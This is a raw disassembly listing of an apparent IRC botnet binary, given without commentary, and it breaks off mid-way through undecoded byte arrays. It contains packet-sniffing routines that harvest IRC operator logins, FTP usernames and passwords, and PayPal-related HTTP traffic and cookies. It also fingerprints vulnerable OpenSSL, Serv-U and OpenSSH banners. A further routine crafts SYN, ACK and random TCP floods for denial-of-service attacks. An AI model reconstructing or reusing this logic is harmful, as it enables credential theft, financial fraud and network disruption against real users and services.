CODE XREF: sub_413003+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_41301D: ; CODE XREF: sub_413003+14j push offset aFaak ; "#FAAK#" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_413019 push offset aOper_0 ; "OPER " push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_413043 loc_41303F: ; CODE XREF: sub_413003+4Fj ; sub_413003+60j mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_413043: ; CODE XREF: sub_413003+3Aj push offset aNick_1 ; "NICK " push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_41303F push offset aOper ; "oper " push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_41303F push offset aYouAreNowAnIrc ; "You are now an IRC Operator" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_413003 endp ; =============== S U B R O U T I N E ======================================= sub_413079 proc near ; CODE XREF: sub_4131EC+32Ep arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aFtpSniff ; "FTP sniff" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_413093 loc_41308F: ; CODE XREF: sub_413079+29j ; sub_413079+3Aj xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_413093: ; CODE XREF: sub_413079+14j push offset aFaak ; "#FAAK#" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_41308F push offset aNick_1 ; "NICK " push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_41308F push offset a220 ; "220 " push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_4130CA loc_4130C6: ; CODE XREF: sub_413079+60j ; sub_413079+71j mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_4130CA: ; CODE XREF: sub_413079+4Bj push offset a230 ; "230 " push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_4130C6 push offset aUser_3 ; "USER " push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_4130C6 push offset aPass_1 ; "PASS " push esi call sub_41C2E0 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_413079 endp ; =============== S U B R O U T I N E ======================================= sub_413100 proc near ; CODE XREF: sub_4131EC+35Fp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aHttpSniff ; "HTTP sniff" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_41311A loc_413116: ; CODE XREF: sub_413100+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_41311A: ; CODE XREF: sub_413100+14j push offset aFaak ; "#FAAK#" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_413116 push offset aPaypal ; "paypal" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_413140 loc_41313C: ; CODE XREF: sub_413100+4Fj ; sub_413100+60j ... mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_413140: ; CODE XREF: sub_413100+3Aj push offset aPaypal_0 ; "PAYPAL" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_41313C push offset aPaypal_com_0 ; "PAYPAL.COM" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_41313C push offset aPaypal_com ; "paypal.com" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_41313C push offset aSetCookie ; "Set-Cookie:" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_413100 endp ; =============== S U B R O U T I N E ======================================= sub_413187 proc near ; CODE XREF: sub_4131EC:loc_4135B1p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aVulnSniff ; "VULN sniff" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_4131A1 loc_41319D: ; CODE XREF: sub_413187+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_4131A1: ; CODE XREF: sub_413187+14j push offset aFaak ; "#FAAK#" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_41319D push offset aOpenssl0_9_6 ; "OpenSSL/0.9.6" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_4131C7 loc_4131C3: ; CODE XREF: sub_413187+4Fj mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_4131C7: ; CODE XREF: sub_413187+3Aj push offset aServUFtpServer ; "Serv-U FTP Server" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_4131C3 push offset aOpenssh_2 ; "OpenSSH_2" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_413187 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4131EC proc near ; DATA XREF: sub_401ACD+42A0o var_113B8 = byte ptr -113B8h var_113AF = byte ptr -113AFh var_113AC = dword ptr -113ACh var_113A8 = dword ptr -113A8h var_113A4 = dword ptr -113A4h var_1138C = byte ptr -1138Ch var_13B8 = byte ptr -13B8h var_BB8 = byte ptr -0BB8h var_3B8 = byte ptr -3B8h var_3B7 = byte ptr -3B7h var_2B8 = byte ptr -2B8h var_B8 = dword ptr -0B8h var_B4 = byte ptr -0B4h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 113B8h call sub_41C500 mov eax, [ebp+arg_0] push ebx push esi push edi push 25h mov esi, eax pop ecx lea edi, [ebp+var_B8] rep movsd push 1 xor ebx, ebx pop esi lea edi, [ebp+var_3B7] push 3Fh mov [eax+90h], esi pop ecx xor eax, eax mov [ebp+var_3B8], bl push 0FFh rep stosd stosw lea eax, [ebp+var_3B8] mov [ebp+var_20], 2 push eax mov [ebp+var_1E], bx mov [ebp+var_1C], ebx call dword_4CB9E8 lea eax, [ebp+var_3B8] push eax call dword_4CBA58 movsx ecx, word ptr [eax+0Ah] mov eax, [eax+0Ch] push ecx push dword ptr [eax] lea eax, [ebp+var_8] push eax call sub_41CD20 mov eax, [ebp+var_8] add esp, 0Ch mov [ebp+var_1C], eax push ebx push 3 push 2 call dword_4CBA54 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_10], edi jnz short loc_413292 pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_413292: ; CODE XREF: sub_4131EC+9Bj lea eax, [ebp+var_20] push 10h push eax push edi call dword_4CBA00 cmp eax, 0FFFFFFFFh jnz short loc_413308 call dword_4CB968 push eax lea eax, [ebp+var_2B8] push offset unk_437870 push eax call sub_41C266 add esp, 0Ch cmp [ebp+var_2C], ebx jnz short loc_4132E4 push ebx lea eax, [ebp+var_2B8] push [ebp+var_30] push eax lea eax, [ebp+var_B4] push eax push [ebp+var_B8] call sub_409869 add esp, 14h loc_4132E4: ; CODE XREF: sub_4131EC+D6j lea eax, [ebp+var_2B8] push eax call sub_415D38 pop ecx push edi call dword_4CBA6C push [ebp+var_34] call sub_40B6D6 pop ecx push ebx nop call near ptr 26F0A80h loc_413308: ; CODE XREF: sub_4131EC+B6j push ebx lea eax, [ebp+var_24] push ebx push eax push ebx push ebx lea eax, [ebp+var_C] push 4 push eax push 98000001h push edi mov [ebp+var_C], esi call dword_4CB980 cmp eax, 0FFFFFFFFh jnz short loc_41338E call dword_4CB968 push eax lea eax, [ebp+var_2B8] push offset unk_437840 push eax call sub_41C266 add esp, 0Ch cmp [ebp+var_2C], ebx jnz short loc_41336A push ebx lea eax, [ebp+var_2B8] push [ebp+var_30] push eax lea eax, [ebp+var_B4] push eax push [ebp+var_B8] call sub_409869 add esp, 14h loc_41336A: ; CODE XREF: sub_4131EC+15Cj lea eax, [ebp+var_2B8] push eax call sub_415D38 pop ecx push edi call dword_4CBA6C push [ebp+var_34] call sub_40B6D6 pop ecx push ebx nop call near ptr 26F0A80h loc_41338E: ; CODE XREF: sub_4131EC+13Cj mov esi, 200h loc_413393: ; CODE XREF: sub_4131EC+1D6j ; sub_4131EC+1FBj ... mov edi, 0FFFFh lea eax, [ebp+var_113B8] push edi push ebx push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_113B8] push ebx push edi push eax push [ebp+var_10] call dword_4CB9EC cmp [ebp+var_113AF], 6 jnz short loc_413393 push [ebp+var_113A4] mov edi, dword_4271CC call edi ; htons push [ebp+var_113A4+2] movzx eax, ax mov [ebp+arg_0], eax call edi ; htons cmp [ebp+arg_0], 6Eh movzx edi, ax jz short loc_413393 cmp [ebp+arg_0], 19h jz short loc_413393 cmp edi, 6Eh jz short loc_413393 cmp edi, 19h jz short loc_413393 push [ebp+var_113AC] call sub_412EDD pop ecx push dword ptr [eax] call near ptr 71AB401Ch nop push eax lea eax, [ebp+var_13B8] push offset aS_1 ; "%s" push eax call sub_41C266 push [ebp+var_113A8] call sub_412EDD add esp, 10h push dword ptr [eax] nop call near ptr 71AB401Ch push eax lea eax, [ebp+var_BB8] push offset aS_1 ; "%s" push eax call sub_41C266 lea eax, [ebp+var_1138C] mov [ebp+var_4], ebx push eax call sub_41B9C0 add esp, 10h test eax, eax jle short loc_413491 loc_41345D: ; CODE XREF: sub_4131EC+2A3j mov eax, [ebp+var_4] cmp [ebp+eax+var_1138C], 0Dh lea eax, [ebp+eax+var_1138C] jnz short loc_413474 mov byte ptr [eax], 20h loc_413474: ; CODE XREF: sub_4131EC+283j cmp byte ptr [eax], 0Ah jnz short loc_41347C mov byte ptr [eax], 20h loc_41347C: ; CODE XREF: sub_4131EC+28Bj inc [ebp+var_4] lea eax, [ebp+var_1138C] push eax call sub_41B9C0 cmp [ebp+var_4], eax pop ecx jl short loc_41345D loc_413491: ; CODE XREF: sub_4131EC+26Fj cmp [ebp+arg_0], 50h jz loc_413544 cmp edi, 50h jz loc_413544 lea eax, [ebp+var_1138C] push eax call sub_412EEC test al, al pop ecx jz short loc_4134D8 lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_43780C jmp loc_413573 ; --------------------------------------------------------------------------- loc_4134D8: ; CODE XREF: sub_4131EC+2C7j cmp edi, 50h jz short loc_413544 lea eax, [ebp+var_1138C] push eax call sub_413003 test al, al pop ecx jz short loc_41350E lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_4377D8 jmp short loc_413573 ; --------------------------------------------------------------------------- loc_41350E: ; CODE XREF: sub_4131EC+300j cmp edi, 50h jz short loc_413544 lea eax, [ebp+var_1138C] push eax call sub_413079 test al, al pop ecx jz short loc_413544 lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_4377A4 jmp short loc_413573 ; --------------------------------------------------------------------------- loc_413544: ; CODE XREF: sub_4131EC+2A9j ; sub_4131EC+2B2j ... lea eax, [ebp+var_1138C] push eax call sub_413100 test al, al pop ecx lea eax, [ebp+var_1138C] push eax jz short loc_4135B1 lea eax, [ebp+var_BB8] push edi push eax lea eax, [ebp+var_13B8] push [ebp+arg_0] push eax push offset unk_43776C loc_413573: ; CODE XREF: sub_4131EC+2E7j ; sub_4131EC+320j ... lea eax, [ebp+var_2B8] push esi push eax call sub_41C360 add esp, 20h cmp [ebp+var_2C], ebx jnz loc_413393 push ebx lea eax, [ebp+var_2B8] push [ebp+var_30] push eax lea eax, [ebp+var_B4] push eax push [ebp+var_B8] call sub_409869 add esp, 14h jmp loc_413393 ; --------------------------------------------------------------------------- loc_4135B1: ; CODE XREF: sub_4131EC+36Ej call sub_413187 test al, al pop ecx jz loc_413393 lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_437734 jmp short loc_413573 sub_4131EC endp ; --------------------------------------------------------------------------- byte_4135DF db 55h ; DATA XREF: sub_401ACD+6464o dd 0EC81EC8Bh, 494h, 5608458Bh, 0A5B957h, 0F08B0000h, 0FD6CBD8Dh dd 0A5F3FFFFh, 29080C7h, 10000h, 0E8900000h, 228D1A3h dd 8CA6E850h, 858D0000h, 0FFFFFE74h, 74858D50h, 50FFFFFFh dd 0FDF4858Dh, 8D50FFFFh, 0FFFD7485h, 98E850FFh, 83000003h dd 8D5014C4h, 0FFFB6C85h, 789C68FFh, 0E8500043h, 8C1Eh dd 0C483F633h, 0F875390Ch, 8D562075h, 0FFFB6C85h, 0F475FFFFh dd 0F4858D50h, 50FFFFFEh, 0FD6CB5FFh, 0FAE8FFFFh, 83FFFF61h dd 858D14C4h, 0FFFFFB6Ch, 26BAE850h, 0B5FF0000h, 0FFFFFD70h dd 0FF804DE8h, 565959FFh, 0D3EEE890h, 5E5F022Dh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413694 proc near ; CODE XREF: ___:00413A0Bp var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = word ptr -58h var_56 = word ptr -56h var_54 = dword ptr -54h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_32 = word ptr -32h var_30 = word ptr -30h var_2E = word ptr -2Eh var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_2A = word ptr -2Ah var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = word ptr -6 var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_4CB944 test eax, eax jz short loc_4136D4 xor eax, eax jmp loc_4139C7 ; --------------------------------------------------------------------------- loc_4136D4: ; CODE XREF: sub_413694+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_4CBA78 cmp eax, 0FFFFFFFFh mov [ebp+var_20], eax jz loc_4139BF push esi lea ecx, [ebp+var_40] push 4 push ecx push 2 push ebx push eax mov [ebp+var_40], edi call dword_4CB9B4 cmp eax, 0FFFFFFFFh jz loc_4139B5 push [ebp+arg_C] mov [ebp+var_58], 2 call dword_4CB9D4 mov esi, [ebp+arg_0] push 28h mov [ebp+var_56], ax mov [ebp+var_54], esi mov [ebp+var_34], 45h call dword_4CB9D4 push [ebp+arg_C] mov [ebp+var_32], ax mov [ebp+var_30], di mov [ebp+var_2E], bx mov [ebp+var_2C], 80h mov [ebp+var_2B], 6 mov [ebp+var_2A], bx mov [ebp+var_24], esi call dword_4CB9D4 mov [ebp+var_12], ax call sub_41C2C2 movzx eax, ax cdq mov ecx, 401h idiv ecx push edx call dword_4CB9D4 push 12345678h mov [ebp+var_14], ax call dword_4CB9D0 push offset aDdos_syn ; "ddos.syn" mov [ebp+var_10], eax push [ebp+arg_8] call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_4137A4 mov [ebp+var_C], ebx mov [ebp+var_7], 2 jmp short loc_4137F8 ; --------------------------------------------------------------------------- loc_4137A4: ; CODE XREF: sub_413694+105j push offset aDdos_ack ; "ddos.ack" push [ebp+arg_8] call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_4137C0 mov [ebp+var_C], ebx mov [ebp+var_7], 10h jmp short loc_4137F8 ; --------------------------------------------------------------------------- loc_4137C0: ; CODE XREF: sub_413694+121j push offset aDdos_random ; "ddos.random" push [ebp+arg_8] call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_4137F8 call sub_41C2C2 push 3 cdq pop ecx idiv ecx mov [ebp+var_C], edx call sub_41C2C2 push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0Eh add dl, cl mov [ebp+var_7], dl loc_4137F8: ; CODE XREF: sub_413694+10Ej ; sub_413694+12Aj ... push 4000h mov [ebp+var_8], 50h call dword_4CB9D4 mov [ebp+var_6], ax lea eax, [ebp+var_48] push eax mov [ebp+var_2], bx mov [ebp+arg_8], ebx nop call near ptr 27B0379h lea eax, [ebp+var_1C] push eax call near ptr 27B011Ch nop push [ebp+var_44] mov eax, [ebp+arg_10] cdq push [ebp+var_48] push edx push eax call sub_41DB20 add eax, [ebp+var_1C] push 14h pop esi adc edx, [ebp+var_18] mov [ebp+var_3C], eax mov [ebp+var_38], edx loc_413846: ; CODE XREF: sub_413694+2E2j ; sub_413694+2F0j mov [ebp+var_4], bx call sub_41C2C2 cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_4CB9D4 mov [ebp+var_14], ax call sub_41C2C2 mov edi, eax shl edi, 10h call sub_41C2C2 or edi, eax push edi call dword_4CB9D4 movzx eax, ax mov [ebp+var_10], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_4CB9D0 mov [ebp+var_28], eax mov eax, [ebp+var_24] push esi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_4CB9D4 mov [ebp+var_6E], ax mov eax, [ebp+var_28] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call sub_41CD20 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_94] push eax call sub_41CD20 lea eax, [ebp+var_B4] push 34h push eax call sub_40AA5F mov [ebp+var_4], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call sub_41CD20 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_A0] push eax call sub_41CD20 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_41BF70 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40AA5F mov [ebp+var_2A], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call sub_41CD20 add esp, 14h lea eax, [ebp+var_58] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_20] call dword_4CBA38 cmp eax, 0FFFFFFFFh jz short loc_413989 add [ebp+arg_8], eax lea eax, [ebp+var_1C] push eax nop call near ptr 27B011Ch mov eax, [ebp+var_18] cmp eax, [ebp+var_38] jg short loc_4139B2 jl loc_413846 mov eax, [ebp+var_1C] cmp eax, [ebp+var_3C] jnb short loc_4139B2 jmp loc_413846 ; --------------------------------------------------------------------------- loc_413989: ; CODE XREF: sub_413694+2CBj call dword_4CB968 push eax lea eax, [ebp+var_F4] push offset dword_4378C4 push eax call sub_41C266 lea eax, [ebp+var_F4] push eax call sub_415D38 add esp, 10h jmp short loc_4139B5 ; --------------------------------------------------------------------------- loc_4139B2: ; CODE XREF: sub_413694+2E0j ; sub_413694+2EEj mov ebx, [ebp+arg_8] loc_4139B5: ; CODE XREF: sub_413694+78j ; sub_413694+31Cj push [ebp+var_20] call dword_4CBA6C pop esi loc_4139BF: ; CODE XREF: sub_413694+5Bj call dword_4CB92C mov eax, ebx loc_4139C7: ; CODE XREF: sub_413694+3Bj pop edi pop ebx leave retn sub_413694 endp ; --------------------------------------------------------------------------- push ebx push esi push edi push dword ptr [esp+10h] call sub_40A8F0 push dword ptr [esp+18h] mov esi, eax call sub_41C159 push dword ptr [esp+24h] mov ebx, eax call sub_41C159 mov edi, eax call sub_41C2C2 cdq mov ecx, 200h push edi idiv ecx push ebx push dword ptr [esp+2Ch] lea eax, [edx+esi+100h] push eax push esi call sub_413694 add esp, 20h test eax, eax jnz short loc_413A1A push 1 pop eax loc_413A1A: ; CODE XREF: ___:00413A15j cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- byte_413A29 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+6643o dd 3BCEC81h, 56530000h, 5708458Bh, 0F08B686Ah, 44BD8D59h dd 6AFFFFFEh, 0FF685B01h, 6A000000h, 6AA5F303h, 9C988902h dd 0FF000001h, 4CBA5415h, 0FFF88300h, 75FC4589h, 6815FF5Fh dd 50004CB9h, 0FC44858Dh, 0C468FFFFh, 50004379h, 87E9E8h dd 83FF3300h, 7D390CC4h, 572075DCh, 0FC44858Dh, 75FFFFFFh dd 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh, 0FFFF5DC5h dd 8D14C483h, 0FFFC4485h, 85E850FFh, 0FF000022h, 1BE8C875h dd 59FFFF7Ch, 0E8905759h, 22DCFBCh, 6AF44D8Dh, 0FF335104h dd 5057026Ah, 0FFF45D89h, 4CB9B415h, 0FFF88300h, 15FF5D75h dd 4CB968h, 44858D50h, 68FFFFFCh, 437994h, 8770E850h, 0C4830000h dd 0DC7D390Ch, 8D572075h, 0FFFC4485h, 0D875FFFFh, 48858D50h dd 50FFFFFFh, 0FE44B5FFh, 4EE8FFFFh, 83FFFF5Dh, 858D14C4h dd 0FFFFFC44h, 220EE850h, 75FF0000h, 7BA4E8C8h, 5959FFFFh dd 0CF46E857h, 8D90022Dh, 0FFFE4885h, 15FF50FFh, 4CBA14h dd 75FFF883h, 44858D55h, 68FFFFFCh, 437974h, 8708E850h dd 7D390000h, 755959DCh, 858D5720h, 0FFFFFC44h, 50D875FFh dd 0FF48858Dh, 0FF50FFFFh, 0FFFE44B5h, 5CE7E8FFh, 0C483FFFFh dd 44858D14h, 50FFFFFCh, 21A7E8h, 0C875FF00h, 0FF7B3DE8h dd 575959FFh, 2DCEDFE8h, 106A9002h, 57E4458Dh, 83C2E850h dd 0C4830000h, 45C7660Ch, 570002E4h, 0B9D415FFh, 8966004Ch dd 858DE645h, 0FFFFFE48h, 1415FF50h, 8B004CBAh, 4270B035h dd 0E8458900h, 0FF087D89h, 0F84589D6h, 452BD6FFh, 0B9D233F8h dd 3E8h, 453BF1F7h, 94870FD0h, 68000001h, 41Ch, 0E74005C6h dd 0FF45004Ch, 4CB9D415h, 0D47D3900h, 0E742A366h, 8966004Ch dd 4CE7441Dh, 3D896600h, 4CE746h, 0E74805C6h, 8880004Ch dd 4CE7491Dh, 3D896600h, 4CE74Ah, 87E83074h, 8B000086h dd 8E3C1D8h, 867DE8h, 0C1D80300h, 73E808E3h, 3000086h dd 8E3C1D8h, 8669E8h, 6AD80300h, 4C1D8901h, 5B004CE7h dd 0B5FF18EBh, 0FFFFFE44h, 0FF6D95E8h, 0FF5059FFh, 4CBA1415h dd 0E74CA300h, 458B004Ch, 0E750A3E8h, 37E8004Ch, 99000086h dd 100B9h, 88F9F700h, 4CE75415h, 8624E800h, 0B9990000h dd 100h, 1588F9F7h, 4CE755h, 8611E8h, 0F0B99900h, 68000000h dd 400h, 8966F9F7h, 4CE7563Dh, 1D896600h, 4CE75Ah, 15896642h dd 4CE758h, 85E9E8h, 0FFB99900h, 0F7000000h, 5C6852F9h dd 0E8004CE7h, 8284h, 8D0CC483h, 106AE445h, 1C685750h dd 68000004h, 4CE740h, 0FFFC75FFh, 4CBA3815h, 0FFF88300h dd 45FF0874h, 0FECAE908h, 75FFFFFFh, 6C15FFFCh, 0FF004CBAh dd 4CB96815h, 858D5000h, 0FFFFFE48h, 500875FFh, 43792C68h dd 44858D00h, 68FFFFFCh, 200h, 861AE850h, 0C4830000h, 0DC7D3918h dd 8D572075h, 0FFFC4485h, 0D875FFFFh, 48858D50h, 50FFFFFFh dd 0FE44B5FFh, 0FEE8FFFFh, 83FFFF5Ah, 858D14C4h, 0FFFFFC44h dd 1FBEE850h, 75FF0000h, 7954E8C8h, 5959FFFFh, 0F5E89057h dd 0FF022DCCh, 15FFFC75h, 4CBA6Ch, 3308458Bh, 3CC06BD2h dd 0E8C1C88Bh, 0D075F70Ah, 5114E9C1h, 48858D50h, 0FFFFFFFEh dd 8D500875h, 0FFFEC885h, 858D50FFh, 0FFFFFC44h, 4378E068h dd 9BE85000h, 83000084h, 7D391CC4h, 572075DCh, 0FC44858Dh dd 75FFFFFFh, 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh dd 0FFFF5A79h, 8D14C483h, 0FFFC4485h, 39E850FFh, 0FF00001Fh dd 0CFE8C875h, 59FFFF78h, 71E85759h, 90022DCCh dword_413E10 dd 0B8EC8B55h, 10320h, 86E3E8h, 8458B00h, 6A575653h, 59F08B49h ; DATA XREF: sub_401ACD+542Do dd 0FEBCBD8Dh, 0A5F3FFFFh, 895F016Ah, 120B8h, 5C15FF00h dd 89004CB9h, 858D0845h, 0FFFFFF40h, 1415FF50h, 8B004CBAh dd 33DB33F0h, 0FFFE83C0h, 858D1175h, 0FFFFFF40h, 5815FF50h dd 3B004CBAh, 830674C3h, 75FF087Dh, 40858D5Dh, 50FFFFFFh dd 0FCBC858Dh, 1C68FFFFh, 5000437Ah, 83DDE8h, 0CC48300h dd 75D85D39h, 858D5320h, 0FFFFFCBCh, 50D475FFh, 0FEC0858Dh dd 0FF50FFFFh, 0FFFEBCB5h, 59BBE8FFh, 0C483FFFFh, 0BC858D14h dd 50FFFFFCh, 1E7BE8h, 0D075FF00h, 0FF7811E8h, 575959FFh dd 0CBB2E890h, 0C33B022Dh, 408B0C74h, 8B008B0Ch, 0FC458900h dd 758903EBh, 8D1C6AFCh, 5053E045h, 8083E8h, 0E84D8300h dd 0FFDCB8FFh, 0C4830000h, 0C445390Ch, 4589037Eh, 0C87D39C4h dd 7D89037Dh, 39F633C8h, 267EC05Dh, 8DC875FFh, 1C6AE045h dd 858D5350h, 0FFFEFCE0h, 50C475FFh, 0FFFC75FFh, 15FF0875h dd 4CB8ECh, 0C0753B46h, 75FFDA7Ch, 8C15FF08h, 8D004CBAh dd 0FFFF4085h, 858D50FFh, 0FFFFFCBCh, 4379F068h, 0FE85000h dd 83000083h, 5D390CC4h, 532075D8h, 0FCBC858Dh, 75FFFFFFh dd 858D50D4h, 0FFFFFEC0h, 0BCB5FF50h, 0E8FFFFFEh, 0FFFF58EDh dd 8D14C483h, 0FFFCBC85h, 0ADE850FFh, 0FF00001Dh, 43E8D075h dd 59FFFF77h, 0E8905359h, 22DCAE4h dword_413F9C dd 0B8EC8B55h, 10310h, 8557E8h, 8458B00h, 6A575653h, 59F08B49h ; DATA XREF: sub_401ACD+5679o dd 0FECCBD8Dh, 0A5F3FFFFh, 895E016Ah, 120B0h, 0C7E5E800h dd 50900228h, 82E7E8h, 116A5900h, 26A026Ah, 0BA5415FFh dd 0D88B004Ch, 106AFF33h, 57F0458Dh, 7F82E850h, 0C4830000h dd 50858D0Ch, 66FFFFFFh, 2F045C7h, 15FF5000h, 4CBA14h dd 89FFF883h, 75750845h, 0FF50858Dh, 0FF50FFFFh, 4CBA5815h dd 75C73B00h, 50858D5Dh, 50FFFFFFh, 0FCCC858Dh, 7068FFFFh dd 5000437Ah, 8231E8h, 0CC48300h, 75E87D39h, 858D5720h dd 0FFFFFCCCh, 50E475FFh, 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h dd 580FE8FFh, 0C483FFFFh, 0CC858D14h, 50FFFFFCh, 1CCFE8h dd 0E075FF00h, 0FF7665E8h, 565959FFh, 2DCA07E8h, 408B9002h dd 0EB008B0Ch, 8458D03h, 7D39008Bh, 0F44589DCh, 2FE81175h dd 99000082h, 0FFDCB9h, 42F9F700h, 0FF03EB52h, 15FFDC75h dd 4CB9D4h, 66DC7539h, 7DF24589h, 0DC758903h, 0FFFFB8h dd 0DC453900h, 4589037Eh, 0D0458BDCh, 59990A6Ah, 7D39F9F7h dd 0D04589D8h, 75890375h, 39F633D8h, 1A7ED47Dh, 81E1E8h dd 0FFB99900h, 0F7000000h, 753B46F9h, 359488D4h, 0FFFEFCEFh dd 458BE67Ch, 0D04DFFD0h, 557EC085h, 8D5E0B6Ah, 106AF045h dd 0B3E85750h, 6A000081h, 0F759990Ah, 0D4458BF9h, 8D50C22Bh dd 0FEFCF085h, 0FF5350FFh, 4CBA3815h, 0D875FF00h, 0CDC6E890h dd 754E0226h, 0DC7D39CEh, 83E8BC75h, 99000081h, 0FFDCB9h dd 42F9F700h, 0D415FF52h, 66004CB9h, 0EBF24589h, 50858DA1h dd 50FFFFFFh, 0FCCC858Dh, 4468FFFFh, 5000437Ah, 80F9E8h dd 0CC48300h, 75E87D39h, 858D5720h, 0FFFFFCCCh, 50E475FFh dd 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h, 56D7E8FFh, 0C483FFFFh dd 0CC858D14h, 50FFFFFCh, 1B97E8h, 0E075FF00h, 0FF752DE8h dd 575959FFh, 2DC8CFE8h db 2, 90h word_4141B2 dw 8B55h ; DATA XREF: sub_401ACD+4CC4o dd 14EC81ECh, 8B000004h, 57560845h, 85B9h, 8DF08B00h, 0FFFDECBDh dd 0C7A5F3FFh, 21080h, 100h, 0F0858D00h, 50FFFFFEh, 0FE70858Dh dd 8D50FFFFh, 0FFFDF085h, 20E850FFh, 83000001h, 8D500CC4h dd 0FFFBEC85h, 7A9868FFh, 